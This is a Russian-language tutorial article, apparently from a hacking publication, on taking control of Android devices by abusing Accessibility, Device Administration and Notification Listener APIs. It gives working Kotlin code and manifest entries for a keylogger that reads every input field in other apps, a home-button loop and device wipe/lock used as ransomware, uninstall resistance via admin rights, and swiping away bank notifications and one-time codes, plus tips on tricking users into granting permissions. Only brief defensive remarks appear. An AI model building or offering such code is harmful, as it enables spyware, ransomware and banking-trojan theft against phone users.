Как не печально об этом говорить но мобильные и не только, устройства на базе системы Андроид более уязвимы по сравнению со своими яблочными конкурентами. Это происходит благодаря открытому исходному коду платформы и изобилию настроек, которые доступны для пользователей системы. О некоторых таких уязвимостях мы и поговорим сегодня, а именно — как получить контроль над системой андроид с помощью разрешений приложений.
API которые применяются для взлома андроид.
- Администрирование устройства — API, предназначенный для корпоративных приложений. Позволяет сбрасывать и устанавливать пароль экрана блокировки, сбрасывать смартфон до заводских настроек и устанавливать правила минимальной сложности пароля. Одна из особенностей API — запрещено удалять приложения, получившие права администратора, чем с радостью пользуются авторы зловредных приложений.
- Accessibility — API для реализации приложений, ориентированных на людей с ограниченными возможностями. Фактически API позволяет создавать альтернативные способы управления устройством и поэтому открывает поистине огромный простор для злоупотребления. С его помощью можно получить доступ к содержимому экрана практически любого приложения, нажимать кнопки интерфейса и программно нажимать клавиши самого смартфона. Но есть и способ защиты: разработчик приложения может прямо указать, что определенные элементы интерфейса приложения будут недоступны для сервисов Accessibility.
- Уведомления — API, позволяющий получить доступ ко всем уведомлениям, которые отображаются в панели уведомлений. С помощью этого API приложение может прочитать всю информацию об уведомлении, включая заголовок, текст и содержимое кнопок управления, нажать на эти кнопки и даже смахнуть уведомление. API пользуется особой популярностью среди разработчиков всевозможных банковских троянов, с помощью которого они могут читать коды подтверждения и смахивать предупреждающие сообщения от банков.
Получив доступ ко всем этим API, зловредное приложение сможет сделать со смартфоном практически все что угодно. Именно поэтому для их защиты используются не традиционные запросы полномочий, на которые пользователь может машинально ответить «Да», а скрытый глубоко в настройках интерфейс, который при активации покажет угрожающее сообщение. Все, что может сделать приложение, чтобы получить нужное полномочие, — это перебросить пользователя в окно настроек, после чего тот должен будет найти нужное приложение, включить напротив него переключатель и согласиться с предупреждающим сообщением.
Заставить пользователя дать разрешение на использование этих API можно обманом. Зачастую зловреды прикидываются легитимными приложениями, которым разрешение нужно для работы ключевой функциональности. К примеру, это может быть приложение для ведения журнала уведомлений или приложение для альтернативной жестовой навигации (такому приложению нужен сервис Accessibility для нажатия кнопок навигации). Также можно использовать атаку Cloak & Dagger, чтобы перекрыть окно настроек другим безобидным окном.
1. Нажатие кнопок смартфона
Простейший сервис Accessibility может выглядеть так (код на Kotlin):
class AccessService: AccessibilityService() {
companion object {
var service: AccessibilityService? = null
// Метод для программного нажатия кнопки «Домой»
fun pressHome() {
service?.performGlobalAction(GLOBAL_ACTION_HOME)
}
}
override fun onServiceConnected() {
service = this
super.onServiceConnected()
}
override fun onUnbind(intent: Intent?): Boolean {
service = null
return super.onUnbind(intent)
}
override fun onInterrupt() {}
override fun onAccessibilityEvent(event: AccessibilityEvent) {}
}
Чтобы система узнала о нашем сервисе, его необходимо объявить в AndroidManifest.
:
<service
android:name=".AccessService"
android:label="@string/app_name"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
Это описание ссылается на конфигурационный файл accessibility_service_config.
, который должен быть определен в каталоге xml
проекта. Для нашего случая достаточно будет такого конфига:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:canRetrieveWindowContent="false"
android:description="@string/accessibility_description" />
После того как пользователь включит наш сервис Accessibility в окне «Настройки → Спец. возможности», система автоматически запустит сервис и мы сможем выполнить функцию pressHome(
, чтобы нажать кнопку «Домой»:
// Если service не null — значит, система успешно запустила сервис
if (AccessService.service != null) {
AccessService.pressHome()
}
Одной лишь только этой функциональности достаточно, чтобы реализовать Ransomware, который будет вызывать функцию pressHome(
в цикле и бесконечно возвращать пользователя на домашний экран, не давая нормально использовать устройство.
Окно включения сервиса Accessibility в Android 11 |
Однако настоящая мощь Accessibility кроется не в нажатии кнопок навигации, а в возможности контролировать другие приложения.
2. Перехват содержимого полей ввода андроид
API Accessibility был создан для людей с ограниченными возможностями. С его помощью можно, например, создать приложение, которое будет зачитывать все надписи интерфейса и позволит нажимать элементы интерфейса голосом. Все это достижимо благодаря тому, что Accessibility дает полный доступ к интерфейсу приложений в виде дерева элементов: можно пройти по нему и выполнить над элементами определенные операции.
Чтобы научить наше приложение «ходить» по интерфейсу приложений, мы должны изменить описание сервиса в его настройках. Следующий конфиг дает полный доступ к интерфейсу любого приложения:
<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault"
android:canRequestEnhancedWebAccessibility="true"
android:notificationTimeout="100"
android:packageNames="@null"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
/>
Теперь напишем простейший кейлоггер. Для этого добавим в код сервиса такую функцию:
override fun onAccessibilityEvent(event: AccessibilityEvent) {
if (event.source?.className == "android.widget.EditText") {
Log.d("EditText text: ", event.source?.text.toString())
}
}
Теперь все, что пользователь введет в любое поле ввода любого приложения, будет выведено в консоль.
API Accessibility достаточно развит и позволяет перемещаться по дереву элементов, копировать текст элементов, вставлять в них текст и выполнять множество других действий. Это действительно опасный инструмент, поэтому Android будет использовать любую возможность, чтобы отозвать права Accessibility у приложения. Например, это произойдет при первом же падении сервиса. Кроме того, Android предоставляет разработчикам способ защитить критические компоненты приложения с помощью флага importantForAccessibility
:
<LinearLayout
android:importantForAccessibility="noHideDescendants"
... />
Этот код скроет лейаут и всех его потомков от сервисов Accessibility.
То же самое в коде:
view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);
3. Дамп дерева UI
Есть удобный способ сделать дамп UI любого приложения таким, каким его видит сервис Accessibility:
4. Блокировка устройства и защита от удаления
Перейдем к API администрирования устройства. Как уже было сказано, этот API предназначен для удаленного управления защитой устройств: установки пароля, политик сложности пароля и удаленного сброса устройства. Использовать его не труднее, чем сервис Accessibility, но сам принцип отличается.
Первое, что мы должны сделать, — создать ресивер, который будет вызван после включения/выключения прав администратора. Добавлять в ресивер какой‑то осмысленный код необязательно — главное, чтобы он был:
class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {
override fun onDisabled(aContext: Context, aIntent: Intent) {
}
}
Далее ресивер необходимо добавить в манифест:
<receiver
android:name=".DeviceAdminPermissionReceiver"
android:label="@string/app_name"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin_policies" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
Эта запись ссылается на конфигурационный файл xml/
. Создаем его и добавляем следующие строки:
<device-admin>
<uses-policies>
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
Конфиг говорит, что наше приложение может сбрасывать и менять пароль экрана блокировки, выключать экран, блокируя его паролем, и сбрасывать устройство до заводских настроек.
После того как пользователь даст разрешение на использование прав администратора в разделе «Настройки → Безопасность → Приложения администратора устройства», мы можем проверить, действительно ли мы получили эти права, и воспользоваться ими:
// Функция для определения наличия прав
fun checkAdminPermission() {
val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
return policyManager.isAdminActive(adminComponent))
}
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
// Блокируем устройство и принудительно запрашиваем пароль
policyManager.lockNow()
// Сбрасываем устройство до заводских настроек
policyManager.wipeData(0)
// Меняем пароль экрана блокировки (не работает в Android 7+)
policyManager.resetPassword("1234", 0)
Обрати внимание, что мы можем заблокировать устройство и даже сбросить его до заводских настроек, но начиная с Android 7 не имеем права поменять текущий пароль на экране блокировки.
Если быть более точным, текущий пароль в современных устройствах может изменять только приложение со статусом device owner. Есть лишь два способа получить такой статус:
- установить приложение‑администратор на девственно чистое устройство с помощью QR-кода. Для этого есть специальный API, которого мы не будем касаться в этой статье;
- назначить приложение device owner’ом с помощью ADB или прав root. Для этого нужно выполнить такую команду:
$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver
Но, даже имея возможность только сбрасывать и блокировать устройство, мы можем написать приложение, которое будет требовать у пользователя выкуп, угрожая уничтожить все данные, или блокировать устройство в цикле. При этом пользователь не сможет просто так взять и удалить наше приложение, сначала придется отозвать у него права администратора.
Экран включения прав администратора |
5. Перехват и смахивание уведомлений
Может показаться, что перехват уведомлений не столь уж лакомый кусок для зловредов, но только вдумайся: в современных устройствах через уведомления проходит масса конфиденциальной информации: СМС (включая одноразовые коды подтверждения), сообщения мессенджеров, заголовки писем и часть их содержимого, всевозможные сервисные сообщения.
Как и в случае Accessibility API, для перехвата уведомлений нужен сервис, которым в итоге будет управлять сама система. Напишем код сервиса:
class NLService: NotificationListenerService() {
private var connected = false
override fun onListenerConnected() {
connected = true
super.onListenerConnected()
}
override fun onListenerDisconnected() {
connected = false
super.onListenerDisconnected()
}
override fun onNotificationPosted(sbn: StatusBarNotification) {
cancelNotification(sbn.key)
}
override fun onNotificationRemoved(sbn: StatusBarNotification?) {
}
}
Сервис имеет четыре основных колбэка. Два вызываются при подключении/отключении сервиса (это обычно происходит при запуске и остановке приложения, а также при включении и выключении доступа к уведомлениям). Еще два нужны для обработки появления/исчезновения уведомлений.
Наш простейший сервис при появлении уведомления сразу смахивает его, а при исчезновении не делает ничего. Однако мы могли бы, например, запомнить заголовок, текст, а также пакет, которому принадлежит уведомление:
val extras = sbn.notification.extras
val title = extras.getCharSequence(Notification.EXTRA_TITLE)
val text = extras.getCharSequence(Notification.EXTRA_TEXT)
val package = sbn.packageName
Банковские трояны обычно смотрят на пакет приложения, сравнивая с базой банковских клиентов, а также распарсивают заголовок и текст сообщения в поисках специфичных для сообщений банков строк. Далее уведомление программно смахивается.
Чтобы сервис заработал, его необходимо объявить в манифесте:
<service
android:name=".NLService"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
После включения в настройках (Приложения и уведомления → Специальный доступ → Доступ к уведомлениям) сервис начнет работать.
Окно включения доступа к уведомлениям |
Итоги
Недурно, не правда ли? Написав пару десятков строк кода, мы научились программно нажимать кнопки смартфона, перехватывать уведомления, извлекать текст из полей ввода других приложений и даже сбрасывать настройки смартфона. Все это выглядит действительно страшно, особенно в сравнении с iOS. Но согласись, далеко не так страшно, как в случае с настольными Windows, Linux и macOS, где для получения полного контроля над устройством иногда достаточно всего лишь заставить пользователя нажать «Да» в одном‑единственном диалоге.